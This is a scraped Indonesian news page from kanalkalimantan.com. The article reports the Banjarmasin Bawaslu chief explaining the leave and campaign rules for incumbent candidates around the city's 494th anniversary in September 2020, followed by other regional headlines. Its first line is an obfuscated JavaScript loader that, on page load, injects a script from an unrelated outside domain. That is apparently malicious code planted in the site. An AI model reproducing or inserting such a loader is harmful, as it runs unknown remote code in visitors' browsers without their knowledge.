(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Menjelang perayaan Hari Jadi (Harjad) ke-494 Kota Banjarmasin pada 24 September 2020 mendatang membuat calon petahana menjadi sorotan Bawaslu Kota Banjarmasin.
Menurut Ketua Bawaslu Kota Banjarmasin Muhammad Yasar, calon petahana memang masih diperbolehkan ikut terlibat dalam pelaksanaan Harjad Kota Banjarmasin tersebut.
“Masa pengambilan wajib cuti dari petahana itu pada tanggal 26 September 2020, yaitu pada saat dimulainya masa kampanye. Sedangkan tanggal 23 September itu adalah masa penetapan pasangan calon,” kata Yasar di kantor Bawaslu Kota Banjarmasin, Senin (7/9/2020) sore.
Sebagaimana diatur dalam Undang-Undang 10 tahun 2016 dan PKPU yang berkaitan dengan hal kampanye, Yasar menerangkan, calon petahana wajib melakukan cuti tiga hari setelah yang bersangkutan dinyatakan sebagai pasangan calon Pilkada 2020. Yaitu dimulai pada tanggal 26 September atau tiga hari setelah penetapan.
“Calon petahana ini harus sudah melakukan izin cuti untuk menjalani masa kampanye, itu harus luar tanggungan negara. Dalam masa cuti tersebut tentu tidak dibenarkan lagi bagi petahana untuk menggunakan fasilutas fasilitas negara,” terang Yasar.
Sehingga, calon petahana masih diizinkan untuk mengikuti kegiatan maupun agenda pemerintahan. Namun dengan catatan harus profesional dan hati-hati. Ia menekankan, jangan sampai ada indikasi kampanye di dalam agenda pemerintahan tersebut.
Yasar mencontohkan, calon petahana jangan hanya memuat dirinya sendiri apalagi terlihat di depan umum dengan calon yang mendampingnya di Pilkada Banjarmasin. Termasuk saat melakukan laporan khusus (lapsus) maupun pemberitaan humas.
“Kalau mau tampil di hadapan publik, tampil dengan pasangannya saat ini,” tegasnya.
Ia menegaskan, agar hal tersebut diperhatikan dengan sebijaksana mungkin. Yasar menegaskan, jangan sampai ada unsur politisnya.
“Dan juga jangan sampai ada yang beranggapan bahwa program pemerintah seperti pelaksanaan Harjad Banjarmasin ini disusupi oleh kepentingan kampanye politik dari petahana,” imbuhnya.
Oleh karena itu, sejak ditetapkan sebagai paslon, pihaknya akan langsung melakukan imbauan kepada seluruh kandidat. Guna membersihkan alat peraga sosialisasi, sebelum nanti masuk pada saat kampanye di tanggal 26 September. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
This website uses cookies.